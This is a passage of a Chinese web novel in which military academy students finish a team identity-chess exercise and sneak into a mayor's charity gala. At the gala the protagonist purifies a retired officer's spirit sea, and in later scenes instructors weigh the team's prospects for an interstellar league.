“对哦，司焕也说了应承玄是蓝队的三大嫌疑鼠之一。”江茂茂摸了摸下巴道。 …… 各方侦察小队传来的信息每时每刻都如雪花般涌向三位指挥，司焕的光脑上信息不断刷新，又一条条被他过滤。 “绿队毕和宜战胜蓝队焦征，胜者已查看身份，蓝队焦征淘汰，我方未能看到焦征身份棋信息。” “蓝队华妩战胜我方俞白桃，未查看身份。” “我方卓佳对蓝队应承玄发起进攻，对方回避对战，我方未追击。” “观测到绿队符玉成已淘汰，身份棋为狼，淘汰人未知。” …… 司焕从光脑上收回视线，抬眸问道：“都到齐没？” 夜色已深，营地里大大小小的篝火都已经熄灭，唯有司焕面前的火光还在跳动，周围稀稀拉拉坐了十几个人。 鹿平闻言看了一圈，应道：“让我叫的都到了。” 赵宴月看了眼鹿平，怀疑让社恐去社交可能真是司焕的特殊小爱好，根本不是无意之举。 鹿平察觉到她的视线羞涩一笑，赵宴月疑惑地看了他一眼，有点摸不着头脑。 “很好。”司焕点了点头，“和你们说一下现在的信息，目前绿队的真假象棋有好几个，各个都实力顶尖，想找出真象我们势必要元气大伤，而蓝队成员的身份棋对我们来说更加明朗，所以我们的第一选择是淘汰蓝队。” “蓝队鼠棋我已经锁定了三个怀疑目标，但是象棋藏得很深，在我方已知信息里，他们已经有3个狮棋都被淘汰，也就是只要找出最后一个狮棋并牵制住他，同时我们再派出狮棋去打鼠棋，象棋自己会伪装成狮棋出来保住鼠棋……能听明白吗？” 在场的大家好歹都是考上了两大TOP军校的，脑子转了转后便有人总结。 “所以难点在于如何找出并牵制住最后一个狮棋，只要解决了这个问题我们立马就能干掉蓝队，但目前在我方视角里，蓝队有可能是狮棋的人并不少，毕竟虎棋有十五个，他们想伪装狮棋并不难。” 等众人讨论完，司焕才淡声向几人依次嘱咐了几句行动计划。 他最后看向赵宴月，一直平平淡淡的神色有了波动，稍稍凑近了过来。 “根据我手头的信息来看，秦烨已经被蓝队确定为狮棋，而你现在是蓝队眼中的头号嫌疑鼠。” 赵宴月裹着外套打了个哈欠，暖黄的火光在她脸上跳来跳去。 “他们想要来淘汰我只能派真正的狮棋或者象棋先攻破秦烨，但蓝队象棋不大可能出手，狮棋这就出来了。” “对的，所以除非确定你是真鼠棋，不然他们不会轻举妄动。” 赵宴月闻言偏过头，和司焕对视了一眼：“问题是怎么让他们确定，让其他鼠棋撤掉伪装？” “风险太大，其他人撤掉伪装，真鼠棋也没法浑水摸鱼。” “那只能赌一把。” “怎么说。” 赵宴月叽里咕噜地和司焕说了一通，司焕听完对她比了个加油的手势：“这个方案更稳妥，一旦蓝队狮棋出现，我这边会立马行动。” 说干就干。 赵宴月第二天在蓝队阵营附近游荡半天，便在一处相对开阔视野稍好的石林地带看到了许白亦的身影。 非常好的位置，在这打起来足够惊动蓝队的人过来查看情况。 江茂茂咽了口口水道：“你真要去挑战许哥啊？我觉得他大概率会查看你身份的。” “那我赌他不敢看。” 在秦烨“鼠大王小心点”的叮嘱声中，赵宴月爬上黑石上站了起来，扬声道：“许白亦！” 许白亦的目光扫过来，带着询问和一丝狐疑。 “受死！” 赵宴月说完便召出机甲，速度很快地朝着许白亦冲了过去。 许白亦：“……？” 她的攻势迅猛，招招直取要害，半点多余的动作都没有，但许白亦的应对相比之下显得更加轻描淡写。 两柄长刀在残影中游走，动作精准而优雅，偶尔格挡也是以最小的动作幅度化解最大的冲击力。 “啧啧。”趴在石头后的严舒也压低了声音，“许白亦怎么光躲不还手，他之前打架可不是这么客气的风格。” 华妩咂咂嘴，嫌弃道：“他俩玩得好也不至于这样吧，要是我和你是敌对阵营，那我绝对不会手下留情。” 柯木孤独地试图分析：“这两人打起来说明红队怀疑许白亦是绿队的真象，如果许白亦确实是，那他被赵宴月淘汰的话阵营战就结束了。” 严舒也：“赵宴月敢对上绿队象应该真是鼠，不过许白亦是不是象还难说。” 华妩：“赵宴月能打赢许白亦才有鬼，反正谁淘汰我们都不亏。” 说话间，许白亦的双刀上裹挟着刺目的电光，化作道道撕裂雾气的闪电，直刺银白机甲的驾驶舱。 赵宴月的机甲以不可思议的角度侧旋，刚挡住这一击后下一个致命招数又劈头盖脸地袭来。 强大的冲击力让银白机甲向后滑行了数米，在地面犁出两道深痕，而后倒在地上发出一声震耳欲聋的巨响。 许白亦后退几步，而后收起机甲稳稳站定，看着赵宴月坐在地上但气势嚣张的模样，脑子开始急速运转。 什么情况。 他确实怀疑赵宴月是低阶身份棋，但如果真是低阶身份棋的话，她没理由主动挑战自己。 赵宴月也不可能是鼠棋，毕竟她根本就没信他是象棋，甚至猜到了他是低阶身份棋。 所以她主动挑战自己无非是想靠规则反杀，加上鱼泽之前也说她淘汰了蓝队虎棋，或许真是高阶身份棋伪装低阶身份棋。 许白亦脑子里电光火石间闪过各种思绪，赵宴月慢吞吞出声提醒：“看不看，不看时间到了喔。” “不看。” “干嘛不看。” 许白亦闻言又看了赵宴月一眼：“那我看？” “随你。” “不看。” 柯木皱眉道：“许白亦不看赵宴月身份棋，什么情况。” 华妩也对这个无人伤亡的结果不是很满意：“这要分析起来什么情况都有，毕竟我们不知道绿队掌握的信息是什么样的。” 严舒也道：“赵宴月应该是鼠棋，她一直被拿到了狮棋的秦烨保护不说，要不不动手，一动手就奔着象棋去了。” 华妩叹了口气：“也行吧，至少现在可以确定许白亦绝对不是象棋，绿队那几个真真假假的象棋又可以排除一个。” 而此时同时收到信息的蓝队绿队指挥，看着相同的信息，得出了截然相反的结论。 “红队赵宴月挑战绿队许白亦，许白亦胜出后并未查看赵宴月身份棋。” 蓝队指挥：“赵宴月是红队鼠。” 绿队指挥：“赵宴月是红队高阶身份棋。” 鱼泽：“她敢打许白亦！她肯定是红队象！” 关启山：“……” 监控室里，关启山看着双方完全天南海北的猜测，没想过事情会这么发展。 白静怡无法理解道：“她怎么敢赌许白亦不看她身份的？” 薛清笑容满面：“因为赌输了小亏赌赢了血赚，她又不是真正的鼠棋，平平无奇小猫咪而已。” “红队的鼠棋是谁来着。”关启山问道。 “莫听然，她的同伴一个虎棋一个狼棋一个猫棋，平平无奇的侦查队。” 关启山“嗯”了一声，又看了眼屏幕道：“看来要结束了，让他们记住了所有人的信息就算达到了目的。” 薛清点点头：“这几天荣耀角斗场TOP100都被法温莎和西廷尔霸榜了，也是时候把他们放出来了。” “明天17号晚上还有混进市长府的任务。”白静怡说到这看了薛清一眼道：“你们校长真有个性，什么任务都发。” “你们周校长也可以在特殊任务栏上发任务啊，他不发怪谁。” “我们校长可没那么多仇人要整。” “再吵架就给我出去。” 第99章 两具机甲在石林中打得有来有回, 其中银灰色的机甲动作迅猛如猎豹，攻势像是狂风骤雨般袭向对手。 赵宴月和江茂茂围身后追着好几个人，两人配合着江茂茂的穿梭技能狼狈逃窜, 在嶙峋怪石间上演着极限逃生。 “现在这个和秦烨打架的总该是蓝队的狮棋了吧。”江茂茂气喘吁吁道。 “应该是, 不然蓝队之前没必要先派个21阶的狼棋来消耗他。” 说话间，江茂茂操控机甲做出一个战术翻滚躲开能量光束, 又带着赵宴月一个穿梭和身后的追兵拉开距离。 “你的技能逃跑真好用。”赵宴月抽空夸赞道。 “也就放在自己人身上好用，目标抗拒的话就不灵了……也不知道司焕那边怎么样了，蓝队的象会出来吗？” “没有鼠棋打掩护, 蓝队打红队绿队的象只能出象，这就暴露了一半。” 赵宴月说到这顿了顿：“关键是蓝队的象和你一样苟, 大概率实力也一般，反倒是司焕锁定的三个鼠棋都很强，要想淘汰其他队伍的象大概率要鼠棋上, 加上他又不知道我们掌握了多少信息, 还能伪装狮棋，综合考虑下来没理由不去捞一把。” 江茂茂根本没听赵宴月的分析, 只是觉得听到她的声音逃跑比较有安全感：“说得好，还有吗？” “……” 此时的另一边, 司焕已经调动红队的成员开始了行动, 一道道指令通过精神链接传入各个红队成员脑海中。 “卓佳小组现在赶往黑石山西侧小石潭区域, 对蔺欣可发起正面对战, 祖曼儿带上你的人去和文咏歌小组汇合, 目标在文咏歌小组附近，鹿平你们过去压制住应承玄，现在在黑石山东侧黑河附近的成员都往黑河的方向赶，阻断应承玄他们的撤退路线, 不要让他们跑了，其他人注意绿队动向。” 监控室里的黑石山全息地图上，代表红队的红点迅速集结，朝三个不同区域展开迅猛攻势，局势风云变幻。 蓝队指挥的光脑上瞬间被巨量的信息淹没，红队突如其来的针对性打击让双方的淘汰人数都开始激增。 这一场淘汰下来后几乎每个人的身份棋都要暴露无疑，蓝队指挥深吸一口气快速权衡，下达指令道：“贝焕，你们小队立刻前往东侧黑河中游附近支援应承玄。” 当司焕收到对付应承玄的狮棋被贝焕淘汰的信息后，他眸光微顿道：“莫听然，淘汰贝焕。” 一直在外围潜伏的莫听然和游阑听到指令，游阑懒散发问道：“要我先去帮你打一轮吗？” “我们工程系的学弟就不用你帮忙了。” 莫听然如同蛰伏的猎豹瞬间暴起，贝焕仓促应战，两台机甲瞬间缠斗在一起，碰撞间火花四射。 作为工程系唯二的B级以上，打赢学弟对莫听然来说并不困难。 她眼神一凛，操控机甲如同扑食的猎鹰从侧后方猛然突进，一记精准的刺击瞬间瘫痪了贝焕机甲的腿部关节。 庞大的机甲轰然跪倒在地，莫听然毫不犹豫，跳出驾驶舱轻盈地落在贝焕面前：“看看身份。” “看我身份你要被淘汰。” “那真说不准是谁淘汰。” 随着贝焕的身份棋展示出来，关启山的声音也平平淡淡地从空中传来。 “蓝队象棋淘汰，红队阵营胜利，现在都回基地广场。” 所有还在打架的学生们都停了下来，面面相觑后爆发出尖叫：“我的分！” 特训基地广场上三百名学生重新集合，只不过气氛迥异。 红队脸上洋溢着胜利的喜悦和200积分到账的欣慰，蓝队一片愁云惨雾，绿队面无表情。 关启山站在高台上，目光扫过全场：“友谊第一比赛第二，你们折腾了几天也累了，今天剩余的时间没有训练安排，大家可以自由活动。” 秦烨戳了戳赵宴月问道：“莫听然才是鼠棋，那你到底是什么身份棋？” 周围的学生听到问话也看了过来，赵宴月点点光脑，红色的卡牌翻转间浮现出一只猫。 秦烨：“……可恶。” 他把自己被骗得好惨的事往脑后一扔，又兴致勃勃地问道：“下午出去玩吗，我打算去市长府踩踩点，你去不去？” “不去，混进市长府对我毫无难度。” “真的假的，我都不敢说我能悄无声息混进去。” “那你晚上等着看吧。” 江茂茂在人群中提高音量道：“小赵！许哥！要不要外面吃大餐庆功！” 许白亦：“我有什么功可庆的，而且我要回宿舍休息。” 赵宴月也拒绝了吃大餐的提议，朝江茂茂摆摆手道：“我也回去休息，你和他们去吃吧。” 两人结伴回了宿舍，然后各自回到自己的单人公寓。 赵宴月洗了个澡，躺到久违的柔软大床上长长地呼出一口气。 每天训练完都像是在田里耕了十亩地。 唯一令人欣慰的就是这种锻炼强度之下，和她契约的小五小六等阶提升的速度也变快了。 撒因此时溜溜达达地窜了出来，没什么情绪起伏的机械音在耳边响起。 【累不累】 “稀客啊。”赵宴月翻了个身道：“你怎么想起来管我死活了。” 【这是什么话，我不出来是因为看你受伤我心痛】 赵宴月面无表情地嫌弃：“你又在星网上看什么乱七八糟的东西了？” 【《高级情话999句——让她对你死心塌地》】 “看点正经书吧撒因，你现在说话变得好油腻。” 【我是真心痛！在云中宫殿哪里要受这种苦，不听撒因言吃亏在眼前】 “哪里吃亏，你知不知道我现在强得可怕！” 柏慈的信息在这时弹了出来，撒因还在耳边絮絮叨叨成为净化师走向人生巅峰，赵宴月没理会它，点进信息看了一眼。 柏慈：幽冥兰和S级晶源已经拿到了，蚀骨花和定制武器还要晚几天，我现在给殿下送过来？ 赵宴月：晚点，我今晚刚好打算出门。 柏慈：请问我回来得不赶趟的话，殿下还出门吗。 赵宴月：没有这种假设，你回来得挺赶趟的，净化晶源帮我寄了吗？ 柏慈：现在殿下的顾客们应该已经都收到货了。 赵宴月看见这话，干脆点进了爱心互助论坛。 净化晶源的链接一直维持着一周挂一次的频率，只不过论坛她已经很久没登了。 ——还有她的实名星博，不过这个不登也罢，不用看都知道网友们肯定在喊她出来对线。 真是没功夫和他们闹了。 爱心互助论坛这么久没登，里面的热帖还是和之前差不多，几乎可以改名成裘花花的专属论坛。 “店主没出现的第99天，想她想她想她。” “上一批C级晶源有没有好心人分我一颗，高价收。” “按照这个趋势下去，店主未来可能要卖S级净化晶源[狗头][狗头][狗头]” “都是这么久老朋友了，店主还是不肯透露她到底绑架了多少净化师。” “裘花花只挂链接不说话的症状到底什么时候才能好，她现在好冷漠，好像在冷暴力我。” 裘花花：“这位朋友，裘花花是灵兽的名字，不是店主的名字。” 赵宴月一回完这个贴，本来无人回复的帖子立马火热了起来，回帖一层一层地往上盖，标上了“hot”的标识。 “裘花花！你回来了！” “什么？店主竟然不叫裘花花？” “最近是什么好日子，垃圾女王好久没出来和我对线了，店主也终于出现了！” 裘花花：“？” “店主不知道垃圾女王吗，她是一个S级精神海非要契约幼火狼但是最后研究出天火狼进化链然后考进了兰柏林机甲工程系的大一学生。” 裘花花：“你干嘛要讨厌她。” “让我想想，好像是之前听到S级精神海契约幼火犬气蒙了！” 裘花花：“……那她之后不是已经开上机甲了吗。” “黑到深处改不回来了……对了店主店主我喜欢你！” “所以店主到底叫什么名字。” “店主为什么只回和垃圾女王有关的评论？难道你也……” 赵宴月啪的一声关掉论坛，没想到爱心互助论坛里混进了叛徒。 她关掉光脑睡了一会儿补觉，然后又踩着夜色带着布灵灵出了特训基地。 眉目漂亮的青年站在悬浮车边，见她过来唇角稍稍勾起一点笑：“殿下贵安。” 赵宴月点点头上了车，她坐在真皮沙发上翘起二郎腿，用手撑着脸还有点困倦：“柏慈上将真是越来越像个人了。” 柏慈闻言稍稍抬眸，将温水推到她面前，顺口问道：“我以前有什么做得不到位的地方吗。” “嗯？” 赵宴月睡醒刚好有点渴，端起水杯喝了几口水才回答：“你别误会，这句话就是表面意思，毕竟你以前是个冷淡的蘑菇。” 刚见到他的时候，柏慈的眼神都是麻木冰冷而无机质的，诡谲又危险但是美丽。 现在可真是顺眼多了。 “……可以忘掉这回事吗。” “不可以。” 柏慈安静了一会儿，视线看向旁边果冻一样的布灵灵，转移话题道：“殿下今晚要做混进市长府慈善晚宴的任务？” “对了一半。” 赵宴月稍稍坐直了点，从兜里夹出一张邀请函晃了晃：“读书人的事怎么能叫混，我和慎馆长约好了在休息室给他净化。” 她说到这看了柏慈一眼道：“不过我只要了一张邀请函，你在外面等我？” “我可以陪殿下进去。” 赵宴月狐疑道：“你也有？” “没有，我刷脸。” 第100章 夜幕下的市长府邸灯火通明, 悬浮车流犹如汇入光河的游鱼，驶入恢弘的大门。 府邸外围的阴影中，一个正在钻通风管道的学生停止了阴暗爬行。 微弱的红光映射在她沾满黑灰的脸上, 她压低声音对着通讯器咬牙道：“怎么通风管道里也有红外射线网格！我都爬了一半了！这一定是故意的吧！” 通讯器里传来同伴的声音：“我这边也是, 警报系统明显比资料显示的升级了不少，市长肯定早有准备。” “我这边巡逻犬的数量好多。” “左边又来一队安保, 快趴下！” “砰”地一声闷响，伴随着短促的惊呼，某个试图用钩锁从外墙翻越的学生触发了压力感应器。 从天而降的大网将他裹成了粽子, 很快就有黑衣安保无声地赶到现场。 其中一名安保人员蹲了下来，对闯入的不速之客一句话都没多问, 而是对着网里的学生比出了一个大拇指朝下的动作。 “晚上好同学，你是今晚的第七个，市长让我告诉你, 你们兰柏林的潜伏水平菜得令人发笑。” 被网住的学生小发雷霆道：“……你怎么知道我是兰柏林的？” 另一个在检查钩锁的安保头也不抬地接话：“是这样的, 我们市长是斯伦军校出身，他说斯伦的学生不会干这种事。” 府邸内, 慈善晚宴正进行到高潮，温文尔雅的市长刚发表完致辞下台, 和迎上来的宾客亲切寒暄, 举止得体, 风度翩翩。 任谁都想不出他背地里疯狂拉踩兰柏林。 偶尔有眼生的或目光闪烁的侍者宾客靠近他, 下一秒就被人巧妙地拦下, 最后听着“菜得很”的评价无能狂怒地跟着安保人员离开大厅。 秦烨穿着一套侍者礼服，手上端着放满空酒杯的托盘，一边认真负责地干活，一边眼神往市长的方向瞟。 “先生, 需要酒吗？” “睁大你的狗眼看看，是我。”穿着西装的应承玄刚和某知名富商其乐融融地交流完，转头看向秦烨脸一黑。 秦烨打量了他一眼，顿时肃然起敬道：“你都聊什么了，竟然融入得这么自然。” “拍马屁。” “6。” 两人一碰头，混在人群中找了个摆放着精致茶点的空餐桌坐下。 台上的拍卖正在进行中，而两人看着坐在最前排圆桌旁众星捧月的市长，愁得不知道该怎么办。 “难搞。”应承玄手指无意识地敲击着桌面：“除非易容成市长的熟人，或者被哪个巨头带过去引荐，不然根本近不了身。” “真正的大佬哪有那么好忽悠。”秦烨脸上浮现出惆怅，而后忽然两眼一睁，推了推应承玄的胳膊肘：“我看见赵宴月了！” 应承玄跟着看了过去，目光扫过赵宴月身边的人。 身姿笔挺，气场冷淡的男人是大名鼎鼎的柏慈上将，另一位年纪不小的老者是历史博物馆的副馆长慎修平。 赵宴月穿着简简单单的卫衣长裤，和衣着光鲜靓丽的众人格格不入，正和其他两人往宾客休息室的方向走。 应承玄沉思道：“她是怎么和这两人搭上话的。” 秦烨酸不拉几地提出疑惑：“莫非她格外讨人喜欢？” 应承玄和他对视一眼，两人下一秒同时起身，像泥鳅似的混进人群，朝着宾客休息室摸了过去。 宾客休息室里十分安静，气氛与外面的热闹浮华截然不同。 赵宴月将掌心抵在慎修平的太阳穴上，感受到手下皮肤传来的细微颤抖，提醒道：“越紧张精神力闯进去的不适感会越强。” 慎修平无奈地笑了笑，搭在腿上的手依旧攥得发白：“殿下，我很难不紧张。” 漂浮在一边的布灵灵凑了过来，身上挂的小蜜蜂扩音器里传来校长中气十足的嗓音：“没出息！” 慎修平叹了口气：“自从污染值达到79%被迫退下前线，我都当了几十年的破馆长了。” “好歹没患上狂躁症，再说你现在一把年纪，净化了也上不了前线，还老是念叨这事干什么。” 趁着他们斗嘴，赵宴月逮着机会将精神力冲进了慎修平的脑子里，而后又突破了他的精神海屏障。 一直在赵宴月手臂上安静当手镯的青藤动了动，它睁开眼睛，从袖口里懒洋洋地探出了头。 赵宴月掌心里涌出的精神力里悄无声息地浮现出一缕青色的光芒，又在下一秒瞬间蔓延开来，刹那间光芒大亮。 她身后磅礴的精神力轰的一声张牙舞爪地显现了出来，原本无影无形的精神力扭曲地挤满了整个宾客休息室。 在场三人的发丝都微微飞扬，慎修平精神海里积年累月的浓黑污浊被瞬间涤荡一空，顷刻间变得澄澈透亮，一碧如洗。 老人猛地睁开眼，而映入眼帘的是少女背后群魔乱舞的庞大精神力，浑浊的眼球不自觉微微颤动。 彻底净化一个S级的精神海，她精神力的损耗竟然几乎可以忽略不计。 “这、这就是……S级净化师？” 赵宴月正奇怪这次她的精神力竟然没什么损耗。 她疑惑地睁开眼，下一秒又被房间里亮到刺目的青色光芒晃得闭上了眼睛。 柏慈站在光芒中，微眯着眼出声提醒道：“收一下精神力。” 赵宴月闻言将多余的精神力收了回去，房间内部此时也暗了下来，眼睛这才重新适应了正常的光线。 青藤“嘶嘶”了一声，懒散地从袖口缩了回去，身体缠绕在赵宴月的手臂上转了个圈，又用头蹭了蹭她的手腕。 布灵灵飘到赵宴月的肩膀上坐下，稚嫩的声音从小蜜蜂扩音器里传来：“哇塞！好亮！好刺眼！” 慎修平从沙发上缓缓站起身，看向赵宴月感慨道：“我以前也见过单明序那个老家伙净化，A级和S级的差距竟然这么大。” 赵宴月震撼地连连摇头：“不是，我以前净化其实需要消耗很多精神力，而且场面很平平无奇。” 布灵灵扩音器里传出的声音又变得老沉起来：“我对S级净化师的想象还是太单薄了，若不是亲眼见到，这简直根本无法想象。” 慎修平胸膛急促地起伏着，重新做回沙发上平复着心情，眼眶都有些湿润：“S级净化师……这就是S级……” 赵宴月：“不是，你们听我解释……” 就在这时柏慈忽然有了动作，他抬起步子朝门口走去，毫无预兆地拉开了房门。 “诶诶诶！” 两个男生踉跄着摔了进来，身上透着一股做贼心虚的味道。 柏慈见是兰柏林的学生，原本冰冷的目光稍稍化冻，声音冷淡地询问：“解释一下，你们趴在门上做什么？” 应承玄反应很快地站稳身体，认真汇报道：“柏慈上将，我们以为休息室灯泡坏了，所以过来查看情况。” “啊对对对。”秦烨一边点头附和，一边将求救的目光看向赵宴月。 赵宴月在秦烨身上的侍者服上看了一眼，又看了眼应承玄的西装，笑眯眯走向他们道：“落魄了啊秦烨同学，你混进来的方式怎么这么不体面。” 秦烨闻言惊恐地睁大眼睛，结果发现柏慈和看过来的老者听到“混进来”这三个字都没什么反应。 他稍稍松了一口气，小声道：“就你体面。” 应承玄倒是眸光一动，猜到了这三人可能是熟人。 他之前还以为赵宴月和他走的一个路子，靠拍马屁在晚宴里艰难融入集体。 秦烨看着站在自己面前的人，压低声音好奇道：“你怎么混进来的，这么短的时间就和大佬们混得这么熟，教教。” “没法教，这主要靠个人魅力。” 赵宴月在这和他们胡说八道，慎修平休息好后也站起了身。 他看向聚在一起嘀嘀咕咕的三人，开口询问道：“赵同学，我带你去和市长打个招呼？” 秦烨闻言立马酸成柠檬精：“什么个人魅力这么大，你到底凭啥能把……”慎馆长忽悠瘸了。 他话说到一半及时住了嘴，赵宴月看过来的目光十分欠：“你管我呢。” 她不紧不慢地掸了掸衣摆，跟着慎修平朝着最前方的圆桌走去。 “好装啊她……” 正和众人谈笑风生的市长察觉到有人接近，眼神的余光下一秒就扫了过来。 在看到慎馆长身边明显眼生的年轻面孔时，他心头立马闪过一丝不妙。 这怕是兰柏林的小混蛋。 市长立马站起身，和宾客歉意道：“稍等片刻。” 他脸上扬起无懈可击的温和笑容，朝着慎修平迎了过去，寒暄间不知不觉将两人带到了稍微僻静一点的角落。 市长含着笑意的目光看向赵宴月：“你是兰柏林的学生？” 赵宴月也笑眯眯地对视回去，手腕翻转比出了个向下的大拇指，字正腔圆地大声道：“市长，您府上的安保水平是这个。” 周围不多的宾客闻声看了过来，脸上带着点看热闹的从容。 市长脸上的笑容不变：“你们校长最近身体怎么样，代我向他老人家问声好，我有空一定上门拜访。” 赵宴月回忆了一下校长中气十足的嗓音，斟酌片刻后诚实回答：“应该还不错。” “那真是太好了，希望你在晚宴上玩得开心。” 等慎修平带着人走远，市长才看着赵宴月的身影笑着磨了磨牙。 兰柏林的死崽子，故意喊那么大声，真是没有一点斯伦学生的深沉。 人群里的秦烨看着赵宴月就这么对着市长比出大拇指，然后又毫发无伤地离开，发出了想不通的声音：“不是，她到底凭什么啊。” 应承玄：“我也想知道。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 短短一天的时间, 赵宴月的总积分就直接爬到了总分榜第一。 只不过她第一名的宝座还没坐热乎，没过几天就被机甲尖兵系同学反超了过去。 要想拿总积分第一对赵宴月来说实在不难，但她一点不欺负人, 之后没再接特殊任务栏里的净化任务。 于是每天的生活只剩下三件事：基础训练、上专业课、去实战模拟舱刷分。 专业课的老师看着底下有些昏昏欲睡的二十多个学生, 拍了拍桌子道：“都醒醒，都什么时候了还睡觉。” 话音落下, 学生们这才稀稀拉拉地直起身子，各个都累得两眼发黑。 有人努力睁大眼睛看向她，诉苦道：“老师你都不知道我们都经历了什么, 上课犯困再正常不过了。” “我知道你们这两个月的训练强度很大，但是要参加联赛, 这些训练都是必不可少的。” 贝焕听到训练这两个字就头疼，小声抱怨道：“只要装完了武器，就算我们被淘汰也影响不大吧, 联赛淘汰又不扣积分。” 讲台上的老师本来还有些心疼工程系这些相对来说更加身娇体弱的学生, 结果一听到这话火气蹭的一下就上来了。 “我和你们强调了多少遍，联赛和新星杯不一样。” 她拍了拍桌子, 将众人的注意力都吸引了过来。 “武器毕竟不是生物机甲的一部分，和机甲连接处的承受能力本身就有一个阈值, 加上联赛的对抗强度高, 你们的任务绝对不是开局给机甲加装好武器就完事, 还要负责后续的武器修理和重装, 你们都淘汰了这些事谁来负责？” “不要觉得这一届工程系有赵同学冲锋陷阵就够了, 你们都给我把心态调整好，看看人家上课怎么还能精神奕奕！” 被cue到的赵宴月将光脑火速一关，将坐姿调整得端正了几分。 她和看过来的同学们大眼对小眼，脸上挂着点无辜的笑。 实不相瞒, 本来她也又累又困的。 ——但松教授刚才和她说善鳄龟的完整进化链只差最后的试验阶段，还将各个阶段的进化材料发给了她。 赵宴月一看到材料，《进化图鉴》就自动进行了收录，这不人一下子就精神了。 即便松教授一直强调进化材料基本都是她从虫族星上带回来的，但赵宴月还是直接拒绝了松教授要将她列入研发人员的提议。 赵宴月：不用了教授，研发我可一点没插手。 松教授：那你的功劳也举足轻重，能这么快研发出进化链，你推荐过来的隗老也发挥了至关重要的作用。 赵宴月：不瞒您说，我当时看见他老人家的第一眼，就觉得他是个人才。 松教授：既然这样，就把你的名字放到致谢名单吧。 赵宴月见状没再推脱，她又回了宋幼安发来的措辞激动的感谢消息，并在他那获得了灵兽孵育中心永久至尊SVIP黑金卡。 现在《进化图鉴》的解锁条件只剩下青藤和火灵秘境的炎羽雀。 在赵宴月找到的信息里，火灵秘境里的秘藏灵兽已经消失了几百年，具体是被谁契约了根本无法考据。 不过几百年下来，估计契约者都换了好几个。 炎羽雀暂时不好找，青藤现在可就盘在她手上当镯子。 赵宴月偷偷摸摸地进精神海看了一眼，发现小六现在正在窝里睡大觉，于是迅速织了个精神力网往青藤身上套。 青藤对她时不时就要来一次的偷袭已经习以为常。 它并没有像最初那样尾巴一甩就破开她的精神力网，反倒是将自己又缠了一圈，整条小蛇缩进精神力网里安详入睡。 没有和赵宴月契约，它平日里的消耗都只能靠自己回复，显得比小五小六都懒散不少。 赵宴月见青藤又是这不同意也不拒绝的死出，“切”了一声戳了戳它批评道：“小七同学，你这样就不对了。” 青藤“嘶嘶”了一声，用尾巴尖尖推开她的手，脑袋一偏不再搭理她。 赵宴月也就是和青藤闹着玩，现在她精神海里的小五小六都在需要大量精神力养着的阶段，再来一个她也吃不消。 小五和小六现在都是终极态，每天吸的精神力都要把人吸干，在有一方到达终极态七阶之前都没法再契约另一个了。 与此同时，关启山也在办公室里看着学生资料眉头紧锁。 “怎么了，是队长人选有问题吗。”白静怡见状询问道。 眼见随着联赛的开赛时间越来越近，特训基地里的氛围也越来越紧张。 关启山手指点了点打印出来的纸质资料：“许白亦和司焕没有问题，两个人上个月都到了21阶，有问题的是赵宴月。” 听到自家的许白亦没有问题，白静怡稍稍松了口气又没有完全松懈，转而“啧”了一声看了薛清一眼。 薛清很明白她这个眼神的意思，嘴巴上一点不吃亏：“两个队长都是我们兰柏林的，要操心的事就是多哈。” “机甲尖兵系第一的含金量你懂什么。” “那也不耽误有两个队长都是我们兰柏林的。” “闭嘴。” 关启山本来就烦，见两人又开始斗嘴更是烦得没边。 他将灵兽等级评定中心的检测报告放到薛清面前，指了指上面两个灵兽的等阶。 “一个终极态三阶，一个刚升级到终极态六阶，她现在精神海里的精神力容量可能连A级契约者都不如。” 薛清的目光从报告上扫过，收起和白静怡开玩笑的心思，稍稍严肃了几分。 “这个问题没办法避免，除非她两只灵兽都达到终极态七阶，这样灵兽除了修复自己以外就基本不需要再消耗精神力。” 白静怡皱眉道：“两只灵兽短时间内都达到终极态七阶不可能，只能指望小五能在联赛开始之前达到终极态七阶。” “小五才刚升到六阶，联赛前升到七阶也不可能。” 关启山听到这，看向两人开口道：“这就是我担心的问题，这个阶段灵兽对精神力的需求与日俱增，只要小五一天不能升到七阶，赵宴月精神海里的精神力容量就每天都在下降，按目前的情况来看，到了联赛正是她实力最弱的时候，很容易出现精神力续航不足的情况。” “谁想得到她这个S级的精神海比别的S级强这么多。”薛清叹了口气：“按照正常S级精神海供养灵兽的速度来说，小六应该到不了终极态才对。” 原本觉得这一届联赛工程系有个S级学生扛大旗，天市星或许能摆脱常年垫底的命运，现在看来还是缺了点运气。 代表队的学生们在特训基地训练了这么久，不管是教官还是老师对他们每个人都了解得一清二楚。 这一届代表队实力比较惊艳的学生也有，比如许白亦、秦烨、应承玄等人。 但话又说回来，这一届有，往届自然也有，天市星有，西廷尔自然也有，法温莎那就更有了。 说来说去还是回到了原点，那就是这一届和天市星往届垫底的代表队实力基本没差。 唯一托付了点希望的S级机甲工程师现在也中道崩殂，估计只能发挥出A级的水平，和之前的工程系A级队长大差不差。 薛清沉默片刻，分析了下目前的形势：“法温莎那边三个队长都是21阶，贺江山的实力不必多说，闻怀玉又是最强指挥，听说他的精神海强度能连接包括贺江山在内的全队所有人，就算他契约的灵兽有点问题也不影响指挥的实力，唯一的劣势还是在工程系身上。” “不管哪个队伍的短板都在工程系身上，但恰恰他们的重要性并不低，是队伍唯一的功能性对策卡。”白静怡说到这，扯了扯嘴角：“不过这么说起来，我倒是有些好奇赵宴月和闻怀玉谁的精神海更强。” 薛清道：“那你估计没机会知道这个问题的答案了，不管是赵宴月还是闻怀玉，他们都没理由去连接对方的精神海。” 关启山将话题重新拉了回来：“想把法温莎干下去很难，只能看西廷尔那边有没有机会，太微星这几年被虫潮折磨得最严重，不少将士都在等净化资格，西廷尔的学生估计都憋着一股劲想拿第一。” 几人针对手里其他队伍的资料讨论了不短时间，最后薛清面无表情地总结道：“说来说去我们还是得垫底。” “乾坤未定，倒也不用这么悲观。”白静怡想了想又补充了一句：“比如这一届联赛我们开局就抽到最强物资包。” 听白静怡说完，薛清只觉得本来就塌了的天现在更塌了。 “天市星代表队每届联赛开局都是最差物资包……这个脸黑的传统技能到现在已经连续二十年了吧？” 白静怡闻言立马展开防卫：“之前抽物资包的学生兰柏林和斯伦的都有，脸黑的锅可扣不到我们身上。” “好了，过几天等指挥中心那边公布赛场就可以组织学生上星舰了，最后几天盯着他们加强训练，联赛可不在秘境里举办，21阶的机甲尖兵已经没人可以给他们兜底。” 薛清点了点头：“这次赛场估计在太微星那边，联邦现在肯定要给太微星减轻压力，他们这几年在星网上都不活跃了。” 